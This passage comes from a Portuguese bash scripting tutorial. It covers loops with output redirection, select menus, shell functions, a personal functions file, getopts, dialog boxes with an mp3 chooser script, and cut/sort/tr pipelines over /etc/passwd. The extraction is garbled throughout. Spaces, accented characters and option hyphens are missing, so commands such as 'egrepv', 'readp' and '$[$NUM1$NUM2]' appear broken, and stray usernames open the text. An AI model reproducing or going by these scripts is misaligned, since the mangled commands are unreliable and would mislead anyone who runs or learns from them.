manalaura8265416578
erika6534245522
AdbeelGoesFilho
ShellScripts73
Vamosaoscriptqueseutilizardasinformaesde"agenda.tel":
AdbeelGoesFilho
ShellScripts74
#!/bin/bash
#arquivo=listartel.sh
#
TempFile=/tmp/TEMP$$
#oegrepabaixovaimostraroarquivoagenda.tel
#semexibiraslinhasquecomecemcomumcaractere'#'
#(consideradocomentrio)esemmostrarlinhasvazias.
#redirecionandoasadapara$TempFile
egrepv"^#|^*$"agenda.tel>$TempFile
whilereadNOMEPRETEL;do
echoe"Telde$NOME:($PRE)$TEL"
done<$TempFile
#esseredirecionamentofazcomoqueo"read"lnowhile
#leialinhaporlinhadoarquivo$TempFile
rm$TempFile
Consultaoarquivo
$./listartel.sh|grepemma
OBS.I:Nesteesquematambmnecessriopegarosdadosde/dev/ttysevocquiserusaroread
dentrodoloop.
OBS.II:Sevocusarexitdentrodoloopusandoesteesquema,eleREALMENTESAIRDO
SCRIPT.Noigualaoesquemaanteriorondeowhilerecebedadosdeumpipeeoexitfunciona
comosefosseumbreak.Entorepetindo:nesteesquemaoexitfuncionanormalmente!
redirecionandoasadadoloopparaatela
Ficouconfusocomestettulo?"Redirecionarasadadoloopparaatelapareceseruma
coisaintil,poisissoacontecetodasasvezes."Aquevocseengana!Vamosaoexemploondeeu
mostrareiautilidadedeseredirecionardestamaneira...
Temosumscriptchamadoretornatel.shquepesquisaotelefonedeumdeterminado
amigo(onomepassadoaoscriptdurantesuaexecuo).Agoraqueremospegarotelefonedeste
amigoearmazenlonumavariveldaseguintemaneira:
FONE=`./retornatel.sh`
Sque,comoveremosnoscriptaseguir,asadadoscriptnosomenteonmerodotelefone.
Existeumainterfacecomousurioperguntandoqualonomeaserpesquisado.Vejaoscript:
Exemplo:
AdbeelGoesFilho
ShellScripts75
#!/bin/bash
#tbom,tbom...euseiquenoumexemplomuitotil...
#sprailustrarautilidadederedirecionarasadadoloop
FILE=agenda.tel
functiongotoxy{
[$#ne2]&&{
echogotoxy:Erronapassagemdeparmetros
echoUso:gotoxyXY
exit1
}
echone"\e[$1;$2H"
}
whiletrue;do
clear
gotoxy51
readp"Nomeaserpesquisado('sair'parasair):"NOME
["X$NOME"=Xsair]&&exit
ifgrep"$NOME"$FILE&>/dev/null;then
break
else
gotoxy1015
echoNenhum$NOMEfoiencontradoem$FILE.
readp"Pressione<ENTER>paracontinuar..."
fi
done>/dev/tty
grep"^$NOME"$FILE|cutf3
Olhao/dev/ttyadenovo!:P
Redirecionando a sada de todo o loop para "/dev/tty", far com que os dados
impressos para fazer a interface com o usurio no sejam enviados para a sada padro e por
conseguintenosejamenviadosparaavarivelqueestrecebendoonmeroatravsdomtodo
variavel=`programa`
Destamaneira,sevocquerarmazenarotelefonedoxfnavarivelXFTEL,faao
seguinte:
XFTEL=`./retornatel.sh`
Eentopesquiseporxf.Depoissusar
echo$XFTEL
AdbeelGoesFilho
ShellScripts76
20.select
Oselectumcomandodelaoquenospermitemostrarumpequenomenudeopes
para o usurio. Cada opo possui um nmero e para escolher, o usurio digita o nmero
correspondenteaopodesejada.Vejamosasintaxeaseguir:
select<var>in<listadeopes>;
do
<comandos>
done;
Comodisseacima,oselectvaimostrarasopescontidasem<listadeopes>,uma
porlinha,comumnmeronafrenteeesperaqueousuriodigiteaopodesejada.Aodigitara
opo,oselectatribuionomedaopoavarivel<var>eexecutaoscomandos.Parasairdo
select,necessrioexecutarocomando"break".Vamosaumexemplo:
selectxinIniciarReiniciarPararSair;do
echo"OpoEscolhida:$x"
if["$x"=="Sair"];thenbreak;fi;
done;
Ou seja, se o usurio escolher alguma opo diferente de "Sair", o script apenas
escreveaopo.SeforescolhidaSair,elemostraaopo,entranoIFeexecutaobreak,saindodo
select.interessantecombinaroSelectcomoCase.Vamosmostrarcomoficariaaqueleexemplo
docase,deiniciarumservio,utilizandooselect,paratornaroscriptinterativo:
selectxinIniciarReiniciarPararSair;do
case"$x"in
'Iniciar')
echo"Iniciandooservio..."
;;
'Reiniciar')
echo"Reinicializandooservio..."
;;
'Parar')
echo"Parandooservio..."
;;
'Sair')
echo"Scriptencerrado."
break
;;
*)
AdbeelGoesFilho
ShellScripts77
echo"Opoinvlida!"
;;
esac
done;
Primeiramenteoselectmostraummenu:
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?
Quandoousuriodigitarumnmerodeopo,oselectexecutaocaseeestecompara
avarivelxcomsuasopes.Seacharalguma,executaseuscomandos,nocasoumecho.Seo
usurioescolherSair,almdoecho,eleexecutao"break",queinterrompeoselect:
virtvs@mucuripe:~/test$./t
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?1
Iniciandooservio...
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?5
Opoinvlida!
1)Iniciar
2)Reiniciar
3)Parar
4)Sair
#?4
Scriptencerrado.
virtvs@mucuripe:~/test$
Esperoquevocstenhampegoaidiadecomofuncionacomandosdelaos.Pelos
menossabendoautilidade,sintaxeecomofuncionam,quandosurgiranecessidade,vocsjvo
saberoqueusar.
#!/bin/bash
AdbeelGoesFilho
ShellScripts78
functionMecho{
echoe"\e[1m$*\e[m"
}
#ATENOAQUI:opromptqueoselectmostracontroladopela
#varivelPS3.Etodasaquelescomentriossobre
#oPS1feitasnotpico2.2.valemaquitambm.
PS3="Opo:"
echon"Entrecomoprimeironmero:"
readNUM1
echon"Entrecomosegundonmero:"
readNUM2
OPCOES="adicaosubtracaomultiplicacaodivisaosair"
selectopcin$OPCOES;do
if["$opc"=adicao];then
Mecho"$NUM1+$NUM2=$[$NUM1+$NUM2]"
elif["$opc"=subtracao];then
Mecho"$NUM1$NUM2=$[$NUM1$NUM2]"
elif["$opc"=multiplicacao];then
Mecho"$NUM1*$NUM2=$[$NUM1*$NUM2]"
elif["$opc"=divisao];then
Mecho"$NUM1/$NUM2=`echo"scale=2;$NUM1/$NUM2"|bcl`"
elif["$opc"=sair];then
Mecho"Tchau!"
exit
else
Mecho"Opoinvlida!"
fi
done
AdbeelGoesFilho
ShellScripts79
21.Funes
Funes so interessantes para quando voc precisa fazer uma determinada coisa
vriasvezesnummesmoscript.Umafunocomosefosseumscriptdentrodoscript,sendo
assimeletambmusaomesmoesquemadeparmetrosdeumscriptcomum($1paraprimeiro
parmetro,$2parasegunda,etodasaquelasregrasexplicadasem2.4.Parmetroscomaexceodo
$0,quenoretornaonomedafuno!).Umafunotambmcapazderetornarumvalorusandoo
"returnValorDeRetorno",sendoqueValorDeRetornoficar armazenadoem"$?",valeobservar
tambmquespossvelretornarvaloresinteiros.
Porexemplo,senafunotiver"return123"depoisdaexecuodestainstruo"$?"
valer123.
#!/bin/bash
#"HelloWorld"usadoparailustrarousodefunes.
functionquit{
echoe"\e[1;32mTCHAU!\e[m"
exit
}
functione{
echoe"\e[1;35m$1\e[m"
}
eHello
eWorld
quit
echo"Issoaquinoserimpresso"
Outroexemplo:
#!/bin/bash
PARAM_ERR=198#Seforpassadomaisdoquedoisparmetros.
EQUAL=199#Retornoseosparmetrosforemiguais.
functionmaior#Retornaomaiordedoisnmeros
{#OBS:osnmeroscomparadosprecisamsermenoresque257
[z"$2"]&&return$PARAM_ERR
if["$1"eq"$2"];then
AdbeelGoesFilho
ShellScripts80
return$EQUAL
elif["$1"gt"$2"];then
return$1
else
return$2
fi
}
readp"Numero1:"N1
readp"Numero2:"N2
maior$N1$N2
RET_VAL=$?
if[$RET_VALeq$PARAM_ERR];then
echo"necessriopassardoisparmetrosparaafuno."
elif[$RET_VALeq$EQUAL];then
echo"Osdoisnmerossoiguais."
else
echo"Omaiornmero$RET_VAL."
fi
exit0
Informaesadicionais:
Oreturnquandoexecutadointerrompeaexecuodafunoeaexecuopassaparaainstruo
imediatamenteposterioraqualafunofoichamada;
Ovalormaisaltoqueumafunopoderetornar256eomaisbaixo0.Bem,umnmerode
mdulogrande.:PSeprecisardevalorespositivos maioresque256retorneocomonegativoe
depoisconvertaoparapositivonovamente.
Sequersabermaisdetalhessobrefunesocaptulo23doAdvancedBashScriptingGuidevai
lhesermuitotil.
#!/bin/bash
#
#CdigobaseadoemumdoAdvancedBashScriptingGuide.
#Maisinformaessobreesteguiaemhttp://www.linuxdoc.org
#Casonoentendaocdigo,faaumesforcinho!;)
LIMITE=400
functionromano{
NUM=$1
FATOR=$2
ROMAN=$3
AdbeelGoesFilho
ShellScripts81
((RESTO=$NUM$FATOR))
while["$RESTO"ge0];do
echon$ROMAN
((NUM=$FATOR))
((RESTO=$NUM$FATOR))
done
return$NUM
}
["$1"]||{
echo"Uso:`basename$0`NUMERO"
exit1
}
["$1"gt400]&&{
echo"$1ultrapassaolimitede$LIMITE"
exit1
}
NUMERO=$1
romano$NUMERO100C
NUMERO=$?
romano$NUMERO90XC
NUMERO=$?
romano$NUMERO50L
NUMERO=$?
romano$NUMERO40XL
NUMERO=$?
romano$NUMERO10X
NUMERO=$?
romano$NUMERO9IX
NUMERO=$?
romano$NUMERO5V
NUMERO=$?
romano$NUMERO4IV
NUMERO=$?
AdbeelGoesFilho
ShellScripts82
romano$NUMERO1I
NUMERO=$?
echo
exit
possveldeclararfuno(es)dentrodefuno.
5.
Funescomocomandos
Antesdecomearvamosrelembrarumconceitobsico:quandoseexecutaum shell
scriptvocobtmomesmoresultadoqueobteriasedigitasseocontedodoscriptnopromptdeum
shell.Comissoeuquerodizerquevocpodefazertudoquefazemum shell scriptnalinhade
comando,inclusivecriareutilizarfunes(queoassuntodestetpico).
Nalinhadecomandovocdeclaraumafunodamesmamaneiraquefaznumscript.
Porexemplo,digiteoseguintenasualinhadecomando:
functionheko{
echoe"\e[5;1;32mHekodangews,paradeenrolaraminaecasalogo!\e[m"
}
Agoraquandovocentrarcom"heko"nalinhadecomandoserimpressonatelaum
recadinhoparaoHekodangewsnumacorzinhaverdeepiscantesuperfashion.=)
Vejaesteoutroexemploumpoucomaistil:
functionSetPath{
PATH=${PATH:="/bin:/usr/bin"}
forDIRin"$@";do
if[d"$DIR"];then
PATH="$PATH:$DIR"
else
echo"***Erro:$DIRnaoehumdiretorio"
fi
done
exportPATH
unsetDIR
}
Esevoctivervriasidiasdefuneslegaisquequeirausarsempreemsuassesses?
Vaiterquedigitlasnalinhadecomandotodahora?No!Paraestepropsitoocomando"source"
podesermuitotil(informaesdetalhadasnamanpagedobash).
Lembrasequandodisse"Quandoexecutamosumshellscripteleexecutadonumshell
AdbeelGoesFilho
ShellScripts83
aparte(shellfilho)"?.Ocomandosourcefazcomqueoscriptsejaexecutadonoshellpai,ouseja,
como voc estivesse digitando todo o contedo do arquivo na linha de comando. E isso
especialmente til quando temos arquivos com as nossas funes que queremos usar como
comandos.
Umacoisalegaldesefazercolocaroarquivocomasfunesquevocquerusarnum
arquivoocultonoseu$HOME(ex.:$HOME/.MyFunctions)enoseu$HOME/.bash_profilevoc
colocaumalinhacomocomando"source$HOME/.MyFunctions".
Vejaestearquivocomalgunsexemplosdefunes:
#!/bin/bash
#
#"INSTALAO":
#copieestearquivoparaseu$HOME:
#[prompt]$cpMfunctions~/.Mfunctions
#
#depoisfaaoseguinte:
#[prompt]$echo".~/.Mfunctions">>~/.bash_profile
#
#Dloginnovamenteoudigite".~/.Mfunctions"epronto.
#Agorasdigitaronomedafuno.
#
#DICA:depoisdecorretamenteinstalada,use"M<tab><tab>"
#paraverasfunesdisponveis.
#
#Funesdisponveisnestearquivo:
#+Mecho
#+Mcenter
#+Mclock
#+Mclock2
#+Msetpath
#+Mdica
#+Marrumanome
#+Mnocomments
#+Mcalcula
#+Mcores
#
#Aproveite!
#meleu
#
#P.S.:graasaessetalde"opensource"vocpodeler
#umcdigoealterloparaqueseadequeassuas
#necessidadeseuquefiqueaoseugosto.Poisfoi
#issoqueeufizaqui!Saolhandoasfunesque
#outraspessoasfizeramearrumeidomeujeito.E
AdbeelGoesFilho
ShellScripts84
#aminhaprincipalfontefoiofuncoeszzdoaurlio.
#vejaem:http://verde666.org/zz
#
#imprimeemnegrito
functionMecho{
echoe"\e[1m$*\e[m"
}
#imprimeemnegritonocentrodalinha
functionMcenter{
localPOS=$[($COLUMNS`echoen"$*"|wcc`)/2]
Mecho"\e[${POS}C$*"
}
#deixasemprenocantinhodaprimeiralinhadoconsole:
#"[hora:minutodia/mes/ano]".
#Sehouveralgumprocessoemsegundoplano(background)eletambmindica.
#OBS.:nosemuladoresdeterminalemqueeutesteisfuncionounoxterm
#orxvtnoaceitaoscdigosdesalvarerestauraraposiodocursor
#(respectivamente"\e[s"e"\e[u").
functionMclock{
localCIANO="\e[1;36m"
localAMARELO="\e[1;33m"
localSCOR="\e[m"
aliasDiaMesAno='date+'\''%H:%M%e/%m/%y'\'
PROMPT_COMMAND="
JOBS=\$(echo\$(jobs|wcl))
if[\$JOBSne0];then
HEADER=\"Jobs:\$JOBS\$(DiaMesAno)\"
else
HEADER=\"\$(DiaMesAno)\"
fi
POS=\$[(\$COLUMNS\$(echo\"\$HEADER\"|wcc))3]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echon\$POS)C\
$CIANO[$AMARELO\$HEADER$CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echoe"\nMclockativado!\n"
AdbeelGoesFilho
ShellScripts85
#ParecidocomoMclockmasficatudoescritonocentrodaprimeiralinha
#eemumformatomaislongo.
functionMclock2{
localCIANO="\e[1;36m"
localAMARELO="\e[1;33m"
localSCOR="\e[0m"
aliasMdate='date+'\''%H:%M%A,%e%B%Y'\'
PROMPT_COMMAND="
JOBS=\$(echo\$(jobs|wcl))
if[\$JOBSne0];then
HEADER=\"Jobs:\$JOBS$(Mdate)\"
else
HEADER=\"\$(Mdate)\"
fi
POS=\$[(\$COLUMNS\$(echo\"\$HEADER\"|wcc))/2]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echon\$POS)C\
$CIANO[$AMARELO\$HEADER$CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echoe"\nMclock2ativado!\n"
}
#Adicionaumdiretrionasuavarivel$PATH
functionMsetpath{
localDIR
PATH=${PATH:="/bin:/usr/bin"}
[$#eq0]&&{echo"PATH=$PATH";return;}
forDIRin"$@";do
if[d"$DIR"];then
PATH="$DIR:$PATH"
else
echo"***Erro:$DIRnoumdiretrio"
continue
fi
AdbeelGoesFilho
ShellScripts86
done
exportPATH
}
#eutenhonomeuhomeumdiretriodicasondeeuvoucolocando
#dicassobreprogramasdiversos.
#onomedosarquivossoiguaisaosnomesdosprogramas,ento
#quandoeumedeparocomumadicasobreogrep,porexemplo,eu
#fao:
#[prompt]$catdica_grep>>~/grep
#estafunoserveparavisualizarasdicas
#OBS.:oaurlioquemedeuESTAdicadodiretrio"$HOME/dicas".
#valeurapaz!;)
functionMdica{
localDICASDIR=$HOME/dicas
["$1"]||{
Mecho"Uso:Mdica[assunto]\n"
echo"Osassuntosdisponveisso:"
ls$DICASDIR
return
}
more$DICASDIR/$1
}
#renomeiaosarquivosquepossuemnomescomcaracteresfeiosos
#fazendocomqueletrasmaisculasfiquemminsculas;
#letrasacentuadasfiquemaletracorrespondentesemacento;
#eespaosembranco,smboloseoutrascoisasfeiasfiquem
#underline'_'
functionMarrumanome{
["$1"]||{
Mecho"Erro:vocprecisapassarosarquivosquequerrenomear";
echo'Uso:Marrumanomearquivo1[arquivoN...]'
return1
}
localFILENINICIALNFINALDIR
forFILEin"$@";do
[f"$FILE"]||continue
NINICIAL=`basename"$FILE"`
DIR=`dirname"$FILE"`
AdbeelGoesFilho
ShellScripts87
NFINAL=`echo"$NINICIAL"|sed'
y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/
y//aaaaaaaaaaeeeeeeee/
y//iiiiiiiioooooooooo/
y//uuuuuuuuccnn/
s/^/_/
s/[^az09._]/_/g'`
["$NINICIAL"!="$NFINAL"]&&mv"$FILE""$DIR/$NFINAL"
done
}
#visualizaumarquivoretirandolinhasquecomecemcomumcaractere
#decomentrio(#)elinhasvazias(linhascomespaosnosovazias)
functionMnocomments{
["$1"]||{
Mecho"Erro:faltaargumentos"
echo"Uso:Mnocommentsarquivo1[arquivoN...]"
return
}
#estouusandoomoresporcausadaqueles":::::::"queaparecem
#quandopassadomaisdeumarquivocomoparmetro.;)
more$@|egrepv"^#|^$"
}
#fazclculosusandoobc
#spranoprecisarficarfazendo"echo<expressao>|bc"todahora
functionMcalcula{
["$1"]||{
Mecho"Erro:vocprecisapassarumaexpresso"
echo"Uso:Mcalcula<expresso>"
echo"Exemplo:Mcalcula'4^2+3*(74)'"
return1
}
#mudeovalorde"scale"sequisermaisdeduascasasdecimais
echo"scale=2;$@"|bc
}
#mostratodasascoresdoconsoleeseusrespectivoscdigos.
#maisumacortesiadoaurlio
functionMcores{
forLETRAin`seq07`;do
forBOLDin''';1';do
forFUNDOin`seq07`;do
AdbeelGoesFilho
ShellScripts88
SEQ="4$FUNDO;3$LETRA"
echone"\e[$SEQ${BOLD}m$SEQ${BOLD:}\e[m"
done
echo
done
done
}
22.Tornandoseuscriptamigvel
Algunscomandosteisquetornamseuscriptmais"userfriendly".
6.
getopts
Estecomandoserveparapermitirquevocuseparmetrosnalinhadecomandode
maneiramaiseficientequeficarusandoasvariveisdeposiodeparmetros("$1","$2"...).
Suasintaxe:
getopts'CadeiaDeOpcoes'variavel
Onde "CadeiaDeOpcoes" consiste em cada caractere que o getopts considerar, e
"variavel"receberestecaractere.Parapassarumparmetroparaoscriptvocusa'c'onde'c'o
parmetro.Vejaesteexemplohipottico:
getopts'ab:c'variavel
Vocpoderusarosparmetros'a','b'ou'c'.Noteque'b'seguidodeum':',issosignificaque'b'
umparmetroqueprecisadeargumento.Este,porsuavez,armazenadonavarivelOPTARG.
Maisdetalhadamente,ogetoptsfuncionaassim(adaptadodo"TeachYourselfShellProgrammingin
24Hours",vejaReferncias):
1.Ogetoptsexaminatodososargumentosdalinhadecomandoprocurandoporargumentosque
comecemcomocaractere''.
2.Quandoachaumargumentocomeadocom''ogetoptsprocuraem"CadeiaDeOpcoes"setem
algumcaracterequecombine.
3.Secombinarcomalgum,"variavel"receberestecaractere,casocontrrio"variavel"receber
'?'.
4.Ospassos13sorepetidosatquetodososargumentosdalinhadecomandotenhamsido
AdbeelGoesFilho
ShellScripts89
lidos.
5.Quandoacabadelertodososargumentosdalinhadecomandogetopsretornaumvalorfalso
(nozero).Istotilparaverificaesemloops(comoveremosnoexemploabaixo).
<++>BashScript/getopts.sh
#!/bin/bash
USAGE="Uso:`basename$0`[h][nnome][eemail]"
[$1]||{echo$USAGE;exit1;}
#observeque'n'e'e'precisamdeargumentos
whilegetopts'hn:e:'PARAMETRO;do
#atenteparaautilidadedo"case"!;)
case$PARAMETROin
h)echon"
Scriptdeexemplodeusodo\"getopts\".
Uso:`basename$0`[opes]
Ondeasopespodemser:
nnomeimprimenome
eemailimprimeemail
hexibeestamensagem";;
n)NOME=$OPTARG;;
e)EMAIL=$OPTARG;;
*)echon"Entre\"`basename$0`h\"paraajuda.";;
esac
done
[$NOME]&&echo$NOME
[$EMAIL]&&echo$EMAIL
AdbeelGoesFilho
ShellScripts90
23.dialog
Odialognoumcomandoespecficodobash!Estouescrevendosobreeleporquejvi
muitagentequerendoinformaes.
Odialogserveparafazercaixasdedilogo,easintaxebsicaassim:
dialog[opcoesdettulo]opesdacaixa
Asopesdettulosoopcionais(porissoqueelasestoentrecolchetes.Asdecaixa
soobrigatrias.Paraquevocpossafazeragoraumaapreciaovisualdodialogtenteoseguinte
comando:
dialogyesno"CaixaondeseseescolheYesouNo"00
Existemvriostiposdecaixas,autilizadanessecomandoumacaixadotipo"yesno".
Bem...issofoispravocdarumaadmiradarpidanodialog.Agoravamosorganizarascoisas,
vouexplicaralgunsparmetros.Vpraticandocadaumdessesparmetrosevendooresultado.
Lembresequeasopesdacaixasoobrigatrias!
*backtitle"texto"
Esteparmetroparaporumttulo"latrs".Tente dialogbacktitle"Micro\$oft
Scandisk"yesnobla00evejacomoottuloqueaparecelhetrarpssimaslembranas.=)
*title"texto"
Estevaiserottulodacaixadedilogo.
Agoravamosasopesdecaixa,masantesumainformao:Emtodosostiposde
caixasexistemosargumentos"altura"e"largura"(queparaabreviar,euchamareide"alt"e"larg"),
que(porincrvelqueparea)servemparavocdeterminaraalturaelarguradacaixadedilogo.Se
vocnotiversacopraficarcontandoquantoscaracteresserousadosnacaixa,use0paraalturae
largura,assimacaixaterumtamanhodeacordocomtextoutilizado.
*yesno"texto"altlarg
Fazumacaixadedilogocomasopes"Yes"e"No".Sevocescolher
"Yes"odialogretorna0,casocontrrio,retorna1.
*msgbox"texto"altlarg
Serveparamostrarumamensagemetemumbotodeconfirmao"OK".Quandovocescolher
AdbeelGoesFilho
ShellScripts91
"OK"odialogretornar0,e,assimcomoemtodosos
outrostiposdecaixas,vocpodecancelarviateclaESC,quandoodialog
retornar255.
*inputbox"texto"altlarg[stringdeinicio]
Faz uma caixa de entrada de dados, se"string de inicio" for passada ocampo de
entradadedadosserinicializadoporestastring.Osbotesso"OK"E"Cancel",oprimeiro,se
selecionado,retorna0eooutroretorna1.Astringquevocentrarserdirecionadaparaasadade
erropadro,portanto,sevocquerqueistosejagravadouseredirecionamentodestderr(ver3.3
Redirecionamento).
*textboxarquivoaltlarg
comosefosseumsimplesvisualizadordearquivostexto.Useassetinhasdoteclado
parasemovimentar.Parapesquisarprafrenteuse'/'eparapesquisarpratrsuse'?'.
*menu"texto"altlargaltdomenuitem1"descricaodoitem1"\[itemN"descricaodoitemN"]
Notequeaquela'\'lnofinaldalinhasignificaqueocomandocontinuanaprxima
linha.Comooprprionomediz,esseparmetrousadoparafazermenus,comoporexemplo
aquele do pppsetup(slackware) ondevoc escolhequalottyS doseumodem.Oitem que for
escolhidoserimpressoemstderr."OK"retorna0e"Cancel"retorna1.
Vejaumexemplobestasprailustrar:
#!/bin/bash
FILE=/tmp/script$$
dialogtitle"Testefuleirodacaixadedilogo\"menu\""\
menu"Qualcomandovocdesejaexecutar?"000\
"pwd""mostraodiretrioatual"\
"psaux""listaosprocessosqueestosendoexecutados"\
"unamea""exibeinformaessobreoSOeamquinalocal"\
"users""listaosusuriosqueestologadosnomomento"2>$FILE
#Lembresequeoitemescolhidoserimpressoemstderr.Erepare
#acimaqueeuestouredirecionandostderrparaumarquivo.
RET_VAL=$?
[$RET_VALeq0]||{echo"Operaocancelada.";exit1;}
sh$FILE
rm$FILE
AdbeelGoesFilho
ShellScripts92
*checklist"texto"altlargaltdalista\
item1"descricaodoitem1"status[item2"descricaodoitem2"status]
Notenovamenteocaractere'\'fazendoocomandocontinuarnalinhaabaixo.Estetipo
decaixautilizadoquandosequerfazerummenuondepodeseescolhervriositens,vocmarca
osquedesejaed"OK".Assimcomoo"menu",o(s)item(ns)quefor(em)escolhido(s)sero
impressosemstderr.Oparmetro"status"serveparavocdeixarumdeterminadoitemselecionado
logodeincio,seusvalorespodemser"on"ou"off". Vejaesteexemplobeminteressante(oh!
finalmenteumexemplocomalgumautilidade!)queusamuitosdosconceitosjensinadosataqui,
senoentenderreleiaocdigo:
Exemplo:
#!/bin/bash
#
#"Escolhedor"demp3zfeitoparailustrarousodo'dialog'
#notexto"ProgramaoemBourneAgainShell".
#
#Parautilizarestescriptnecessrioterinstaladoompg123.
#
#+OBS.:Seonomedealgumamp3formuitograndepodemacontecer
#resultadosbizarros...:/
#+OBS.II:Estescriptno"detecta"nomedemp3zquecontenham
#espaos.Poissedetectassetambmocorreriamresultadosbizarros.
#
#Feitopor:meleu<meleu@meleu.cjb.net>
#mudeavarivelMP3DIRedescomenteaparano
#precisarpassarodiretriotodahoranalinha
#decomando.
#MP3DIR="$HOME/mp3z/"
FILE="/tmp/mp3.$$"
NCOR="\e[m"
WHITE="\e[1m"
functionAjudarSair{
echo"Tente\"`basename$0`h\"paraajuda."
exit$1
}
functionApagarSair{
rm$FILE
exit$1
AdbeelGoesFilho
ShellScripts93
}
#iaogetoptsagente!=)
whilegetopts'd:n:h'OPCAO;do
case$OPCAOin
d)MP3DIR="$OPTARG";;
n)NOME="*$OPTARG";;
h)echoe"
${WHITE}*Meleu'smp3escolheitor(Tabajara,Inc.)$NCOR
Uso:`basename$0`[ddiretorio][nnome][h]
ddiretoriodiretrioondeseroprocuradasasmp3z
nnomenomequeserprocuradonodiretrio
himprimeestamensagem
"
exit;;
*)exit1;;
esac
done
if[z"$MP3DIR"];then
echoe"${WHITE}Vocprecisaindicaremqualdiretrioestoasmp3z.$NCOR"
AjudarSair1
elif[!d"$MP3DIR"];then
echoe"$WHITE\"$MP3DIR\"noumdiretrio.$NCOR"
AjudarSair1
fi
cd"$MP3DIR"
LISTA=`/bin/ls1$NOME*.mp32>/dev/null|grepv''`
[z"$LISTA"]&&{
echoe"${WHITE}Nenhumamp3foiencontradaem\"$MP3DIR\".$NCOR"
AjudarSair1
}
CONT=1
dialogbacktitle"Selecionadordemp3z"\
title"$MP3DIR"\
checklist"Escolhaamsica"000\
$(forITEMin$LISTA;do
echo"$ITEM""$CONT"off
((CONT++))
done)2>>$FILE
AdbeelGoesFilho
ShellScripts94
RET_VAL=$?
[$RET_VALne0]&&{echo"Tchau!";ApagarSair;}
#verificandosejexisteumprocessocomompg123
MPGPID=`psaxformatpid,comm|grepmpg123|cutc6`
[$MPGPID]&&{
dialogbacktitle"Selecionadordemp3z"\
title"Ompg123JESTSENDOUSADO!"\
yesno"Desejafinalizloparaouvirasualista?"00
RET_VAL=$?
if[$RET_VALeq0];then
kill$MPGPID2>/dev/null||{
echoe"${WHITE}Nofoipossvelfinalizarompg123.$NCOR"
echo"Podeserqueoutrousurioestejautilizandoo."
ApagarSair1
}
else
echo"Saindo..."
ApagarSair
fi
}
#osleeppragarantirqueo/dev/dspestardesocupado
sleep1s
cat$FILE|xargsmpg1232>/dev/null&
ApagarSair
#EoF#
*radiolist"texto"altlargaltdalista\
item1"descricaodoitem1"status[item2"descricaodoitem2status]
Similaraochecklistpormaquissepodefazerumaescolha,quandovocseleciona
umitemdesmarcaoutro.
AdbeelGoesFilho
ShellScripts95
Capitulo5.ComandosAvanados
1. cut
OLinuxpossuidiversoscomandose,utilizandoumemconjuntocomooutro,voc
acaba criando um comando novo e ainda mais poderoso. Abaixo mostrarei alguns comandos
misturadoscomoutrosemostrandoassadas,assimserbemfcildeentender.
Presteatenonestasduaslinhasdecomando:
1cat/etc/services
2cat/etc/services|more
Oprimeirocomando,jogarnatelaocontedodoarquivo/etc/services.
Osegundojogarnatelaocontedodoarquivo/etc/services,dividindonatelademaneiraqueo
arquivonofiquerolando,assimpodendovisualizartodooarquivoe,demaneiraqueapertando
espaoelavairolandoparabaixo.
Utilizamosesse"more"quandooarquivomuitogrande,comojvistonoscomandos
doLinux.Agoraoimportantenotar,quenosegundocomandooquefazemosusarocomando
cat,ejogarsuasadaparaocomandomore,oporsuavezjogaasadanatela.Vistoissopodemos
montarcomandosmuitointeressantes,oqualjuntaremosalgunscomandosenofinalsairnatelao
resultadodesejado.
Vamospraumexemplo.Sequisssemospegartodososusuriosdeumcomputador.
Faramososeguinte:
root@c0mb4t:/#catetc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
AdbeelGoesFilho
ShellScripts96
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
nobody:x:99:99:nobody:/:
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
Masvimosaquimuitasujeira,entojuntamosdoiscomandoeveremossuasada:
root@c0mb4t:/#catetc/passwd|cutd:f1
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
ftp
mysql
gdm
nobody
c0mb4t
Aquiocomandocutcortao':'(d:f1)ondeo'f'vemdoingls field.Assimdeixa
somentealistadeusurios.Masaindanoestamossatisfeitos,poisqueremosemordemalfabtica,
entousaremosjuntomaisumcomando,osort.
root@c0mb4t:/#catetc/passwd|cutd:f1|sort
adm
bin
c0mb4t
daemon
ftp
games
gdm
halt
lp
mail
mysql
news
AdbeelGoesFilho
ShellScripts97
nobody
operator
root
shutdown
sync
uucp
Mascomosouchato,vouquereremordeminversa,logoacrescentamosnosortor.
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr
uucp
sync
shutdown
root
operator
nobody
news
mysql
mail
lp
halt
gdm
games
ftp
daemon
c0mb4t
bin
adm
Vamosdarumpauseeveroqueestacontecendo:
catetc/passwd|cutd:f1|sortr,onde:
catetc/passwd=imprimenatelaoarquivo/etc/passwd.
cutd:f1=cortamosoprimeiro:eorestodadireita.
sortr=ordenamosemordemalfabticainversaasada.
Notamosento,queocomandocatjogasuasadaparaocomandocut,queporsuavez
jogaasadaparaocomandosortquefinalmentejogaasadanatela.Poderamosaindacolocaro|
more,casoatelaficassepequena,ficando:
catetc/passwd|cutd:f1|sortr|more
Agora, vamos pegar essa sada, e joglas em letra maisculas, para melhor
visualizaoeparamelhoraprendizado,certo?Nestecasousamosocomandotr.
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr|trazAZ
AdbeelGoesFilho
ShellScripts98
UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
